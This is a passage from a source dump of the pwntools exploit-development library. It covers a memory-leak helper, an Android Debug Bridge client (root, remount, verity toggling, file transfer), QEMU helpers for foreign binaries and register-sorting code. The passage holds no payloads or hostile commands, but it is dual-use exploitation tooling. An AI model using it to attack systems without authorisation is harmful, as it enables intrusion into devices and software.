% address)\n                return None\n            return function(address, *a, **kw)\n\n        return MemLeak(whitespace_wrapper)\n\n    @staticmethod\n    def String(function):\n        \"\"\"Wrapper for leak functions which leak strings, such that a NULL\n        terminator is automaticall added.\n\n        This is useful if the data leaked is printed out as a NULL-terminated\n        string, via e.g. ``printf()``.\n        \"\"\"\n\n        @functools.wraps(function, updated=[])\n        def string_wrapper(address, *a, **kw):\n            result = function(address, *a, **kw)\n            if isinstance(result, str) and not isinstance(result, bytes):\n                result = result.encode('latin1')\n            if isinstance(result, bytes):\n                result += b'\\x00'\n            return result\n\n        return MemLeak(string_wrapper)\n\n    # Aliases for convenience\n    u64 = q\n    u32 = d\n    u16 = w\n    u8 = b\n\n    p64 = setq\n    p32 = setd\n    p16 = setw\n    p8 = setb\n\nclass RelativeMemLeak(MemLeak):\n    def __init__(self, *a, **kw):\n        kw.setdefault('relative', True)\n        super(RelativeMemLeak, self).__init__(*a, **kw)\n"
  },
  {
    "path": "pwnlib/protocols/__init__.py",
    "content": ""
  },
  {
    "path": "pwnlib/protocols/adb/__init__.py",
    "content": "\"\"\"\nImplementation of the Android Debug Bridge (ADB) protocol.\n\nDocumentation is available here_.\n\n.. _here: https://android.googlesource.com/platform/system/core/+/master/adb/protocol.txt\n\"\"\"\nimport logging\nimport functools\nimport stat\nimport time\n\nfrom pwnlib.context import context\nfrom pwnlib.log import Logger\nfrom pwnlib.log import getLogger\nfrom pwnlib.tubes.listen import listen\nfrom pwnlib.tubes.process import process\nfrom pwnlib.tubes.remote import remote\nfrom pwnlib.util.lists import group\nfrom pwnlib.util.misc import size\nfrom pwnlib.util.packing import p32\nfrom pwnlib.util.proc import pidof\nfrom pwnlib.util.sh_string import sh_string\n\nlog = getLogger(__name__)\n\ndef pack(val):\n    return '%04x' % val\n\ndef unpack(val):\n    return int(val, 16)\n\nOKAY = b\"OKAY\"\nFAIL = b\"FAIL\"\n\nclass Message(object):\n    \"\"\"An ADB hex-length-prefixed message\"\"\"\n    def __init__(self, string):\n        self.string = string\n    def __bytes__(self):\n        return self.__flat__()\n    def __str__(self):\n        return self.__flat__()\n    def __flat__(self):\n        return b'%04x' % len(self.string) + self.string\n\nclass Connection(remote):\n    \"\"\"Connection to the ADB server\"\"\"\n    def __init__(self, host, port, level=None, *a, **kw):\n        super(Connection, self).__init__(host, port, level=level, *a, **kw)\n\n        self._executable = None\n        self._argv       = None\n        self._pid        = None\n        self._cwd        = None\n        self._env        = None\n\n    def close(self):\n        with context.quiet:\n            super(Connection, self).close()\n\n    def adb_send(self, message):\n        self.send(bytes(Message(message)))\n        return self.recvn(4)\n\n    def adb_unpack(self):\n        return unpack(self.recvn(4))\n\n    def flat32(self, *a, **kw):\n        kw.setdefault('word_size', 32)\n        return super(Connection, self).flat(*a, **kw)\n\nclass Process(Connection):\n    \"\"\"Duck-typed ``tubes.remote`` object to add properties of a ``tubes.process``\"\"\"\n\nclass AdbClient(Logger):\n    \"\"\"ADB Client\"\"\"\n    def __init__(self, level=None):\n        super(AdbClient, self).__init__()\n\n        if level is not None:\n            self.setLevel(level)\n\n        self.host = context.adb_host\n        self.port = context.adb_port\n        self._c   = None\n\n    @property\n    def c(self):\n        \"\"\"AdbClient's connection to the ADB server\"\"\"\n        if not self._c:\n            try:\n                # Squelch the first '[ERROR] Could not connect to localhost on port 5037'\n                level = self.level\n                with context.quiet:\n                    if not self.isEnabledFor(logging.INFO):\n                        level = logging.FATAL\n                    self._c = Connection(self.host, self.port, level=level)\n            except Exception:\n                # If the connection fails, try starting a server on that port\n                # as long as it's the *default* port.\n                if self.host == context.defaults['adb_host'] \\\n                and self.port == context.defaults['adb_port']:\n                    log.warn(\"Could not connect to ADB server, trying to start it\")\n                    process(context.adb + ['start-server']).recvall()\n                    time.sleep(0.3)\n                else:\n                    log.exception('Could not connect to ADB server (%s:%s)',\n                                  self.host, self.port)\n\n        # Final attempt...\n        if not self._c:\n            self._c = Connection(self.host, self.port, level=self.level)\n        return self._c\n\n    def _autoclose(fn):\n        \"\"\"Decorator which automatically closes the connection to the ADB server\n        after calling the decorated function.\"\"\"\n        @functools.wraps(fn)\n        def wrapper(self, *a, **kw):\n            rv = fn(self, *a, **kw)\n            if self._c:\n                self._c.close()\n                self._c = None\n            return rv\n        return wrapper\n\n    def _with_transport(fn):\n        \"\"\"Decorator which automatically selects a device transport before calling\n        the decorated function, and closes the connection afterward.\"\"\"\n        @functools.wraps(fn)\n        def wrapper(self, *a, **kw):\n            self.transport()\n            rv = fn(self, *a, **kw)\n            if self._c:\n                self._c.close()\n                self._c = None\n            return rv\n        return wrapper\n\n    def send(self, *a, **kw):\n        \"\"\"Sends data to the ADB server\"\"\"\n        if isinstance(a[0], str):\n            a = (a[0].encode('utf-8'),) + a[1:]\n        return self.c.adb_send(*a, **kw)\n\n    def unpack(self, *a, **kw):\n        \"\"\"Receives a hex-ascii packed integer from the ADB server\"\"\"\n        return self.c.adb_unpack(*a, **kw)\n\n    def recvl(self):\n        \"\"\"Receives a length-prefixed data buffer from the ADB server\"\"\"\n        length = self.c.adb_unpack()\n        return self.c.recvn(length)\n\n    @_autoclose\n    def kill(self):\n        \"\"\"Kills the remote ADB server\"\n        \n        .. doctest::\n           :skipif: skip_android\n\n            >>> c=pwnlib.protocols.adb.AdbClient()\n            >>> c.kill()\n\n        The server is automatically re-started on the next request,\n        if the default host/port are used.\n\n        .. doctest::\n           :skipif: skip_android\n\n            >>> c.version() > (4,0)\n            True\n            >>> c.wait_for_device() # ensure doctests alive\n        \"\"\"\n        try:\n            self.send('host:kill')\n        except EOFError:\n            pass\n\n    @_autoclose\n    def version(self):\n        \"\"\"\n        Returns:\n            Tuple containing the ``(major, minor)`` version from the ADB server\n\n        Example:\n        \n        .. doctest::\n           :skipif: skip_android\n\n            >>> pwnlib.protocols.adb.AdbClient().version() # doctest: +SKIP\n            (4, 36)\n        \"\"\"\n        response = self.send('host:version')\n        if response == OKAY:\n            return (self.c.adb_unpack(), self.c.adb_unpack())\n        self.error(\"Could not fetch version\")\n\n    @_autoclose\n    def devices(self, long=False):\n        \"\"\"\n        Arguments:\n            long(bool): If :const:`True`, fetch the long-format listing.\n        Returns:\n            String representation of all available devices.\n        \"\"\"\n        msg = 'host:devices'\n        if long:\n            msg += '-l'\n        response = self.send(msg)\n        if response == OKAY:\n            l = self.recvl()\n            if not hasattr(l, 'encode'):\n                l = l.decode('utf-8')\n            return l\n        self.error(\"Could not enumerate devices\")\n\n    @_autoclose\n    def track_devices(self):\n        \"\"\"\n        Returns:\n            Generator which returns a short-format listing of available\n            devices each time a device state changes.\n        \"\"\"\n        self.send('host:track-devices')\n        while True:\n            l = self.recvl()\n            if not hasattr(l, 'encode'):\n                l = l.decode('utf-8')\n            yield l\n\n    def transport(self, serial=None, try_again=True):\n        \"\"\"Sets the Transport on the remote device.\n\n        Examples:\n\n        .. doctest::\n           :skipif: skip_android\n\n            >>> pwnlib.protocols.adb.AdbClient().transport()\n        \"\"\"\n\n        # If no serial was explicitly provided, try the current device\n        if not serial and context.device:\n            serial = context.device\n\n        # Select the appropriate (or any) device\n        if serial:\n            # Extract the serial, str(Device) --> serial\n            serial = str(serial)\n            msg = 'host:transport:%s' % serial\n        else:\n            msg = 'host:transport-any'\n\n        if self.send(msg) == FAIL:\n            err = self.recvl().decode('utf-8')\n            if err == 'device offline' and try_again:\n                self.wait_for_device(serial)\n                return self.transport(serial, try_again=False)\n            if serial:\n                self.error(\"Could not set transport to %r (%s)\" % (serial, err))\n            else:\n                self.error(\"Could not set transport 'any' (%s)\" % err)\n\n    @_autoclose\n    @_with_transport\n    def execute(self, argv):\n        r\"\"\"Executes a program on the device.\n\n        Returns:\n            A :class:`pwnlib.tubes.tube.tube` which is connected to the process.\n\n        Examples:\n\n        .. doctest::\n           :skipif: skip_android\n\n            >>> pwnlib.protocols.adb.AdbClient().execute(['echo','hello']).recvall()\n            b'hello\\n'\n        \"\"\"\n        self.transport(context.device)\n        if isinstance(argv, str):\n            argv = [argv]\n        cmd = 'exec:%s' % (' '.join(map(sh_string, argv)))\n        if OKAY == self.send(cmd):\n            rv = self._c\n            self._c = None\n            return rv\n\n    def _basic_wrapper(string):\n        @_autoclose\n        @_with_transport\n        def wrapper(self):\n            self.send(string)\n            return self.c.recvall()\n        return wrapper\n\n    @_autoclose\n    @_with_transport\n    def remount(self):\n        self.send('remount:')\n        return self.c.recvall()\n\n    @_autoclose\n    @_with_transport\n    def root(self):\n        self.send('root:')\n        rv = self.c.recvall().decode('utf-8')\n        time.sleep(0.1)\n        return rv\n\n    @_autoclose\n    @_with_transport\n    def unroot(self):\n        self.send('unroot:')\n        return self.c.recvall().decode('utf-8')\n\n    @_autoclose\n    @_with_transport\n    def disable_verity(self):\n        self.send('disable-verity:')\n        return self.c.recvall()\n\n    @_autoclose\n    @_with_transport\n    def enable_verity(self):\n        self.send('enable-verity:')\n        return self.c.recvall()\n\n    @_autoclose\n    @_with_transport\n    def reconnect(self):\n        self.send('reconnect:')\n        return self.c.recvall()\n\n    @_autoclose\n    @_with_transport\n    def reboot(self):\n        self.send('reboot:')\n        return self.c.recvall()\n\n    @_autoclose\n    @_with_transport\n    def reboot_bootloader(self):\n        self.send('reboot:bootloader')\n        return self.c.recvall()\n\n    @_autoclose\n    def wait_for_device(self, serial=''):\n        if serial:\n            response = self.send('host-serial:%s:wait-for-any-device' % serial)\n        else:\n            response = self.send('host:wait-for-any-device')\n\n        # The first OKAY is that the command was understood\n        if response != OKAY:\n            if response == FAIL:\n                response = self.recvl().decode('utf-8')\n            self.error(\"An error occurred while trying to wait for device with serial %r (%r)\" % (serial, response))\n\n        # The second OKAY is that the device is available\n        response = self.c.recvn(4)\n        if response != OKAY:\n            if response == FAIL:\n                response = self.recvl().decode('utf-8')\n            self.error(\"An error occurred while waiting for device with serial %r (%r)\" % (serial, response))\n\n    def _sync(fn):\n        \"\"\"Decorator which enters 'sync:' mode to the selected transport,\n        then invokes the decorated funciton.\"\"\"\n        @functools.wraps(fn)\n        def wrapper(self, *a, **kw):\n            if self.send('sync:') == FAIL:\n                self.error(\"An error occurred while trying to use SYNC API (%r)\" % self.recvl().decode('utf-8'))\n            return fn(self, *a, **kw)\n        return wrapper\n\n    def list(self, path):\n        \"\"\"Execute the ``LIST`` command of the ``SYNC`` API.\n\n        Arguments:\n            path(str): Path of the directory to list.\n\n        Return:\n            A dictionary, where the keys are relative filenames,\n            and the values are a dictionary containing the same\n            values as ``stat()`` supplies.\n\n        Note:\n            In recent releases of Android (e.g. 7.0), the domain that\n            adbd executes from does not have access to everything that\n            the shell user does.\n\n            Because of this, while the shell user can get listings of\n            e.g. the root directory ('/'), adbd cannot.\n\n            The SYNC APIs are executed within the adbd context, not the\n            shell user context.\n\n            This issue is not a problem if the phone is rooted via\n            'adb root', since adbd then runs in the ``su`` domain.\n\n        Examples:\n        \n        .. doctest::\n           :skipif: skip_android\n\n            >>> _ = AdbClient().root()\n            >>> AdbClient().wait_for_device()\n            >>> pprint(AdbClient().list('/data/user'))\n            {'0': {'mode': 41471, 'size': 10, 'time': ...}}\n            >>> AdbClient().list('/does/not/exist')\n            Traceback (most recent call last):\n            ...\n            PwnlibException: Cannot list directory '/does/not/exist': Does not exist\n        \"\"\"\n        st = self.stat(path)\n\n        if not st:\n            log.error(\"Cannot list directory %r: Does not exist\" % path)\n\n        if not stat.S_ISDIR(st['mode']):\n            log.error(\"Cannot list directory %r: Path is not a directory\" % path)\n\n        return self._list(path)\n\n    @_with_transport\n    @_sync\n    def _list(self, path):\n        if isinstance(path, str):\n            path = path.encode('utf-8')\n        self.c.flat32(b'LIST', len(path), path)\n        files = {}\n        while True:\n            response = self.c.recvn(4)\n\n            if response == b'DONE':\n                break\n\n            if response != b'DENT':\n                self.error('Unexpected response: %r' % response)\n\n            mode = self.c.u32()\n            size = self.c.u32()\n            time = self.c.u32()\n            name = self.c.recvn(self.c.u32())\n\n            if not hasattr(name, 'encode'):\n                name = name.decode('utf-8')\n\n            # Ignore the current directory and parent\n            if name in ('', '.', '..'):\n                continue\n\n            files[name] = {'mode': mode,\n                           'size': size,\n                           'time': time}\n\n        return files\n\n    @_with_transport\n    @_sync\n    def stat(self, path):\n        \"\"\"Execute the STAT command of the SYNC API.\n\n        Arguments:\n            path(str): Path to the file to stat.\n\n        Return:\n            On success, a dictionary mapping the values returned.\n            If the file cannot be stat() ed, None is returned.\n\n        Example:\n        \n        .. doctest::\n           :skipif: skip_android\n\n            >>> expected = {'mode': 16749, 'size': 0, 'time': 0}\n            >>> pwnlib.protocols.adb.AdbClient().stat('/proc')           == expected\n            True\n            >>> pwnlib.protocols.adb.AdbClient().stat('/does/not/exist') is None\n            True\n        \"\"\"\n        if isinstance(path, str):\n            path = path.encode('utf-8')\n        self.c.flat32(b'STAT', len(path), path)\n        if self.c.recvn(4) != b'STAT':\n            self.error(\"An error occurred while attempting to STAT a file.\")\n\n        mode = self.c.u32()\n        size = self.c.u32()\n        time = self.c.u32()\n\n        if (mode,size,time) == (0,0,0):\n            return None\n\n        return {'mode': mode, 'size': size, 'time': time}\n\n    def write(self, path, data, mode=0o755, timestamp=None, callback=None):\n        \"\"\"Execute the ``WRITE`` command of the ``SYNC`` API.\n\n        Arguments:\n            path(str): Path to the file to write\n            data(str): Data to write to the file\n            mode(int): File mode to set (e.g. ``0o755``)\n            timestamp(int): Unix timestamp to set the file date to\n            callback(callable): Callback function invoked as data\n                is written.  Arguments provided are:\n\n                - File path\n                - All data\n                - Expected size of all data\n                - Current chunk\n                - Expected size of chunk\n        \"\"\"\n        # We must ensure that 'path' is not a directory\n        # Writing to a directory is supported, but creates a temporary file\n        st = self.stat(path)\n\n        if st and stat.S_ISDIR(st['mode']):\n            log.error(\"Cannot write to %r: Path is a directory\" % path)\n\n        return self._write(path, data, mode=0o755, timestamp=None, callback=None)\n\n    @_with_transport\n    @_sync\n    def _write(self, path, data, mode=0o755, timestamp=None, callback=None):\n        if isinstance(path, str):\n            path = path.encode('utf-8')\n        path += b',%d' % mode\n\n        self.c.flat32(b'SEND', len(path), path)\n\n        sent = 0\n\n        # Data needs to be broken up into chunks!\n        for chunk in group(0x10000, data):\n            self.c.flat32(b'DATA', len(chunk), chunk)\n            if callback:\n                callback(path, data[:sent], len(data), chunk, len(chunk))\n            sent += len(chunk)\n\n        # Send completion notification and timestamp\n        if timestamp is None:\n            timestamp = int(time.time())\n        self.c.flat32(b'DONE', timestamp)\n\n        result = self.c.recvn(4)\n        if result != OKAY:\n            log.error(\"Sync write failed: %r (expected OKAY)\" % result)\n\n        return\n\n    @_with_transport\n    @_sync\n    def read(self, path, filesize=0, callback=lambda *a: True):\n        \"\"\"Execute the ``READ`` command of the ``SYNC`` API.\n\n        Arguments:\n            path(str): Path to the file to read\n            filesize(int): Size of the file, in bytes.  Optional.\n            callback(callable): Callback function invoked as data\n                becomes available.  Arguments provided are:\n\n                - File path\n                - All data\n                - Expected size of all data\n                - Current chunk\n                - Expected size of chunk\n\n        Return:\n            The data received as a string.\n        \"\"\"\n        if isinstance(path, str):\n            path = path.encode('utf-8')\n        self.c.send(b'RECV' + p32(len(path)) + path)\n\n        # Accumulate all data here\n        all_data = b''\n\n        while True:\n            magic = self.c.recvn(4)\n\n            # adbd says there is no more data to send\n            if magic == b'DONE':\n                break\n\n            if magic == FAIL:\n                self.error('Could not read file %r: Got FAIL.' % path)\n\n            # did we expect to be done?\n            if magic != b'DATA':\n                self.error('Error after file read: %r (expected DATA)' % magic)\n\n            # receive all of the data in the chunk\n            chunk_size = self.c.u32()\n            chunk_data  = b''\n            while len(chunk_data) != chunk_size:\n                chunk_data += self.c.recv(chunk_size - len(chunk_data))\n\n                if callback:\n                    callback(path,\n                             all_data,\n                             filesize,\n                             chunk_data,\n                             chunk_size)\n\n            # add the chunk onto what we have\n            all_data += chunk_data\n\n        zero = self.c.u32()\n        if zero != 0:\n            self.error('Error after file read: %r (expected ZERO)' % zero)\n\n        return all_data\n\n    @_with_transport\n    def forward(self, device, host_proto, host_port, device_proto, device_port):\n        self.send('host:forward:%s:%s;%s:%s' % (host_proto, host_port, device_proto, device_port))\n        self.c.recvall()\n\n    def __enter__(self, *a, **kw):\n        return self\n\n    @_autoclose\n    def __exit__(self, *a, **kw): pass\n\ndef proxy(port=9999):\n    \"\"\"Starts an ADB proxy on the specified port, for debugging purposes.\"\"\"\n    l = listen(port)\n    l.wait_for_connection()\n    r = remote(context.adb_host, context.adb_port, level='debug')\n    l.connect_both(r)\n"
  },
  {
    "path": "pwnlib/py2compat.py",
    "content": "\"\"\"\nCompatibility layer with python 2, allowing us to write normal code.\nBeware, some monkey-patching is done.\n\"\"\"\n\nimport os\nimport shutil\nimport sys\ntry:\n    import fcntl\n    import termios\nexcept ImportError:\n    pass\n\nfrom collections import namedtuple\nfrom struct import Struct\n\ndef py2_monkey_patch(module):\n    def decorator(f):\n        if sys.version_info < (3,):\n            f.__module__ = module.__name__\n            setattr(module, f.__name__, f)\n    return decorator\n\n# python3 -c 'import shutil,inspect; print(inspect.getsource(shutil.get_terminal_size))'\n@py2_monkey_patch(shutil)\ndef get_terminal_size(fallback=(80, 24)):\n    \"\"\"Get the size of the terminal window.\n\n    For each of the two dimensions, the environment variable, COLUMNS\n    and LINES respectively, is checked. If the variable is defined and\n    the value is a positive integer, it is used.\n\n    When COLUMNS or LINES is not defined, which is the common case,\n    the terminal connected to sys.__stdout__ is queried\n    by invoking os.get_terminal_size.\n\n    If the terminal size cannot be successfully queried, either because\n    the system doesn't support querying, or because we are not\n    connected to a terminal, the value given in fallback parameter\n    is used. Fallback defaults to (80, 24) which is the default\n    size used by many terminal emulators.\n\n    The value returned is a named tuple of type os.terminal_size.\n    \"\"\"\n    # columns, lines are the working values\n    try:\n        columns = int(os.environ['COLUMNS'])\n    except (KeyError, ValueError):\n        columns = 0\n\n    try:\n        lines = int(os.environ['LINES'])\n    except (KeyError, ValueError):\n        lines = 0\n\n    # only query if necessary\n    if columns <= 0 or lines <= 0:\n        try:\n            size = os.get_terminal_size(sys.__stdout__.fileno())\n        except (AttributeError, ValueError, IOError):\n            # stdout is None, closed, detached, or not a terminal, or\n            # os.get_terminal_size() is unsupported\n            size = os.terminal_size(fallback)\n        if columns <= 0:\n            columns = size.columns\n        if lines <= 0:\n            lines = size.lines\n\n    return os.terminal_size((columns, lines))\n\n@py2_monkey_patch(os)\nclass terminal_size(tuple):\n    @property\n    def columns(self):\n        return self[0]\n\n    @property\n    def lines(self):\n        return self[1]\n\n    def __repr__(self):\n        return 'os.terminal_size(columns=%r, lines=%r)' % self\n\nterminal_size = namedtuple('terminal_size', 'columns lines')\n\ntermsize = Struct('HHHH')\n\n@py2_monkey_patch(os)\ndef get_terminal_size(fd):  # pylint: disable=function-redefined\n    arr = b'\\0' * termsize.size\n    arr = fcntl.ioctl(fd, termios.TIOCGWINSZ, arr)\n    lines, columns, xpixel, ypixel = termsize.unpack(arr)\n    return os.terminal_size((columns, lines))\n"
  },
  {
    "path": "pwnlib/qemu.py",
    "content": "\"\"\"Run foreign-architecture binaries\n\nOverview\n--------\n\nSo you want to exploit ARM binaries on your Intel PC?\n\nPwntools has a good level of integration with QEMU user-mode emulation,\nin order to run, debug, and pwn foreign architecture binaries.\n\nIn general, everything magic happens \"behind the scenes\", and pwntools\nattempts to make your life easier.\n\nWhen using :class:`.process`, pwntools will attempt to blindly\nexecute the binary, in case your system is configured to use ``binfmt-misc``.\n\nIf this fails, pwntools will attempt to manually launch the binary under\nqemu user-mode emulation.  Preference is given to statically-linked variants,\ni.e. ``qemu-arm-static`` will be selected before ``qemu-arm``.\n\nDebugging\n~~~~~~~~~\n\nWhen debugging binaries with :func:`.gdb.debug`, pwntools automatically adds\nthe appropriate command-line flags to QEMU to start its GDB stub, and\nautomatically informs GDB of the correct architecture and sysroot.\n\nSysroot\n~~~~~~~\nYou can override the default sysroot by setting the ``QEMU_LD_PREFIX``\nenvironment variable.  This affects where ``qemu`` will look for files when\n``open()`` is called, e.g. when the linker is attempting to resolve ``libc.so``.\n\nRequired Setup\n--------------\n\nFor Ubuntu 16.04 and newer, the setup is relatively straightforward for most\narchitectures.\n\nFirst, install the QEMU emulator itself.  If your binary is statically-linked,\nthis is sufficient. ::\n\n    $ sudo apt-get install qemu-user\n\nIf your binary is dynamically linked, you need to install libraries like libc.\nGenerally, this package is named ``libc6-$ARCH-cross``, e.g. ``libc-mips-cross``.\nARM comes in both soft-float and hard-float variants, e.g. ``armhf``. ::\n\n    $ sudo apt-get install libc6-arm64-cross\n\nIf your binary relies on additional libraries, you can generally find them\neasily with ``apt-cache search``.  For example, if it's a C++ binary it\nmay require ``libstdc++``. ::\n\n    $ apt-cache search 'libstdc++' | grep arm64\n\nAny other libraries that you require you'll have to find some other way.\n\nTelling QEMU Where Libraries Are\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe libraries are now installed on your system at e.g. ``/usr/aarch64-linux-gnu``.\n\nQEMU does not know where they are, and expects them to be at e.g. ``/etc/qemu-binfmt/aarch64``.\nIf you try to run your library now, you'll probably see an error about ``libc.so.6`` missing.\n\nCreate the ``/etc/qemu-binfmt`` directory if it does not exist, and create a symlink to\nthe appropriate path. ::\n\n    $ sudo mkdir /etc/qemu-binfmt\n    $ sudo ln -s /usr/aarch64-linux-gnu /etc/qemu-binfmt/aarch64\n\nNow QEMU should be able to run the libraries.\n\"\"\"\nimport os\n\nfrom pwnlib.context import LocalContext\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.util import misc\n\nlog = getLogger(__name__)\n\n@LocalContext\ndef archname():\n    \"\"\"\n    Returns the name which QEMU uses for the currently selected\n    architecture.\n\n    >>> pwnlib.qemu.archname()\n    'i386'\n    >>> pwnlib.qemu.archname(arch='powerpc')\n    'ppc'\n    \"\"\"\n    return {\n        ('amd64', 'little'):     'x86_64',\n        ('arm', 'big'):          'armeb',\n        ('mips', 'little'):      'mipsel',\n        ('mips64', 'little'):    'mips64el',\n        ('powerpc', 'big'):      'ppc',\n        ('powerpc64', 'big'):    'ppc64',\n        ('powerpc64', 'little'): 'ppc64le',\n        ('thumb', 'little'):     'arm',\n        ('thumb', 'big'):        'armeb',\n        ('aarch64', 'big'):      'aarch64_be',\n    }.get((context.arch, context.endian), context.arch)\n\n@LocalContext\ndef user_path():\n    \"\"\"\n    Returns the path to the QEMU-user binary for the currently\n    selected architecture.\n\n    >>> pwnlib.qemu.user_path()\n    'qemu-i386-static'\n    >>> pwnlib.qemu.user_path(arch='thumb')\n    'qemu-arm-static'\n    \"\"\"\n    arch   = archname()\n    system = 'qemu-system-' + arch\n    normal = 'qemu-' + arch\n    static = normal + '-static'\n\n    if context.os == 'baremetal':\n        if misc.which(system):\n            return system\n    else:\n        if misc.which(static):\n            return static\n\n        if misc.which(normal):\n            return normal\n\n    log.warn_once(\"Neither %r nor %r are available\" % (normal, static))\n\n@LocalContext\ndef ld_prefix(path=None, env=None):\n    \"\"\"Returns the linker prefix for the selected qemu-user binary\n\n    >>> pwnlib.qemu.ld_prefix(arch='arm')  # doctest: +SKIP\n    '/etc/qemu-binfmt/arm'\n    \"\"\"\n    if context.os == 'baremetal':\n        return \"\"\n\n    if path is None:\n        path = user_path()\n\n    # Did we explicitly specify the path in an environment variable?\n    if env and b'QEMU_LD_PREFIX' in env:\n        return env[b'QEMU_LD_PREFIX'].decode()\n\n    if 'QEMU_LD_PREFIX' in os.environ:\n        return os.environ['QEMU_LD_PREFIX']\n\n    # Cyclic imports!\n    from pwnlib.tubes.process import process\n\n    with context.quiet:\n        with process([path, '--help'], env=env) as io:\n            line = io.recvline_regex(b'QEMU_LD_PREFIX *=')\n\n    _, libpath = line.split(b'=', 1)\n\n    libpath = libpath.strip()\n\n    if not isinstance(libpath, str):\n        libpath = libpath.decode('utf-8')\n\n    return libpath\n"
  },
  {
    "path": "pwnlib/regsort.py",
    "content": "\"\"\"\nTopographical sort\n\"\"\"\nfrom collections import OrderedDict\nfrom collections import defaultdict\nfrom random import randint\nfrom random import shuffle\n\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\n\nlog = getLogger(__name__)\n\ndef check_cycle(reg, assignments, mapping=None):\n    \"\"\"Walk down the assignment list of a register,\n    return the path walked if it is encountered again.\n\n    Returns:\n\n        The list of register involved in the cycle.\n        If there is no cycle, this is an empty list.\n\n    Example:\n\n        >>> check_cycle('a', {'a': 1})\n        []\n        >>> check_cycle('a', {'a': 'a'})\n        ['a']\n        >>> check_cycle('a', {'a': 'b', 'b': 'a'})\n        ['a', 'b']\n        >>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'b', 'd': 'a'})\n        []\n        >>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'd', 'd': 'a'})\n        ['a', 'b', 'c', 'd']\n    \"\"\"\n    if mapping is None:\n        mapping = {}\n    return check_cycle_(reg, assignments, [], mapping)\n\ndef check_cycle_(reg, assignments, path, mapping):\n    target = assignments.get(reg)\n    if target is None:\n        real_reg = mapping.get(reg, reg)\n        reg, target = next((k, v) for k,v in assignments.items() if mapping.get(k, k) == real_reg)\n    path.append(reg)\n\n    real_target = mapping.get(target, target)\n\n    # No cycle, some other value (e.g. 1)\n    if all(real_target != mapping.get(k, k) for k in assignments):\n        return []\n\n    # Found a cycle\n    if any(real_target == mapping.get(k, k) for k in path):\n        # Does the cycle *start* with target?\n        # This determines whether the original register is\n        # in the cycle, or just depends on registers in one.\n        if real_target == mapping.get(path[0], path[0]):\n            return path\n\n        # Just depends on one.\n        return []\n\n    # Recurse\n    return check_cycle_(target, assignments, path, mapping)\n\ndef extract_dependencies(reg, assignments, mapping=None):\n    \"\"\"Return a list of all registers which directly\n    depend on the specified register.\n\n    Example:\n\n        >>> extract_dependencies('a', {'a': 1})\n        []\n        >>> extract_dependencies('a', {'a': 'b', 'b': 1})\n        []\n        >>> extract_dependencies('a', {'a': 1, 'b': 'a'})\n        ['b']\n        >>> extract_dependencies('a', {'a': 1, 'b': 'a', 'c': 'a'})\n        ['b', 'c']\n    \"\"\"\n    # sorted() is only for determinism\n    if mapping is None:\n        mapping = {}\n    return sorted([k for k,v in assignments.items() if mapping.get(v, v) == mapping.get(reg, reg)])\n\n\ndef resolve_order(reg, deps):\n    \"\"\"\n    Resolve the order of all dependencies starting at a given register.\n\n    Example:\n\n        >>> want = {'a': 1, 'b': 'c', 'c': 'd', 'd': 7, 'x': 'd'}\n        >>> deps = {'a': [], 'b': [], 'c': ['b'], 'd': ['c', 'x'], 'x': []}\n        >>> resolve_order('a', deps)\n        ['a']\n        >>> resolve_order('b', deps)\n        ['b']\n        >>> resolve_order('c', deps)\n        ['b', 'c']\n        >>> resolve_order('d', deps)\n        ['b', 'c', 'x', 'd']\n    \"\"\"\n    x = []\n    for dep in deps[reg]:\n        x.extend(resolve_order(dep, deps))\n    x.append(reg)\n    return x\n\ndef depends_on_cycle(reg, assignments, in_cycles):\n    while reg in assignments:\n        if reg in in_cycles:\n            return True\n        reg = assignments.get(reg, None)\n    return False\n\ndef regsort(in_out, all_regs, mapping = None, tmp = None, xchg = True, randomize = None):\n    \"\"\"\n    Sorts register dependencies.\n\n    Given a dictionary of registers to desired register contents,\n    return the optimal order in which to set the registers to\n    those contents.\n\n    The implementation assumes that it is possible to move from\n    any register to any other register.\n\n    If a dependency cycle is encountered, one of the following will\n    occur:\n\n    - If ``xchg`` is :const:`True`, it is assumed that dependency cyles can\n      be broken by swapping the contents of two register (a la the\n      ``xchg`` instruction on i386).\n    - If ``xchg`` is not set, but not all destination registers in\n      ``in_out`` are involved in a cycle, one of the registers\n      outside the cycle will be used as a temporary register,\n      and then overwritten with its final value.\n    - If ``xchg`` is not set, and all registers are involved in\n      a dependency cycle, the named register ``temporary`` is used\n      as a temporary register.\n    - If the dependency cycle cannot be resolved as described above,\n      an exception is raised.\n\n    Arguments:\n\n        in_out(dict):\n            Dictionary of desired register states.\n            Keys are registers, values are either registers or any other value.\n        all_regs(list):\n            List of all possible registers.\n            Used to determine which values in ``in_out`` are registers, versus\n            regular values.\n        tmp(obj, str):\n            Named register (or other sentinel value) to use as a temporary\n            register.  If ``tmp`` is a named register **and** appears\n            as a source value in ``in_out``, dependencies are handled\n            appropriately.  ``tmp`` cannot be a destination register\n            in ``in_out``.\n            If ``bool(tmp)==True``, this mode is enabled.\n        xchg(obj):\n            Indicates the existence of an instruction which can swap the\n            contents of two registers without use of a third register.\n            If ``bool(xchg)==False``, this mode is disabled.\n        random(bool):\n            Randomize as much as possible about the order or registers.\n\n    Returns:\n\n        A list of tuples of ``(src, dest)``.\n\n        Each register may appear more than once, if a register is used\n        as a temporary register, and later overwritten with its final\n        value.\n\n        If ``xchg`` is :const:`True` and it is used to break a dependency cycle,\n        then ``reg_name`` will be :const:`None` and ``value`` will be a tuple\n        of the instructions to swap.\n\n    Example:\n\n        >>> R = ['a', 'b', 'c', 'd', 'x', 'y', 'z']\n\n        If order doesn't matter for any subsequence, alphabetic\n        order is used.\n\n        >>> regsort({'a': 1, 'b': 2}, R)\n        [('mov', 'a', 1), ('mov', 'b', 2)]\n        >>> regsort({'a': 'b', 'b': 'a'}, R)\n        [('xchg', 'a', 'b')]\n        >>> regsort({'a': 'b', 'b': 'a'}, R, tmp='X') #doctest: +NORMALIZE_WHITESPACE\n        [('mov', 'X', 'a'),\n         ('mov', 'a', 'b'),\n         ('mov', 'b', 'X')]\n        >>> regsort({'a': 1, 'b': 'a'}, R) #doctest: +NORMALIZE_WHITESPACE\n        [('mov', 'b', 'a'),\n         ('mov', 'a', 1)]\n        >>> regsort({'a': 'b', 'b': 'a', 'c': 3}, R) #doctest: +NORMALIZE_WHITESPACE\n        [('mov', 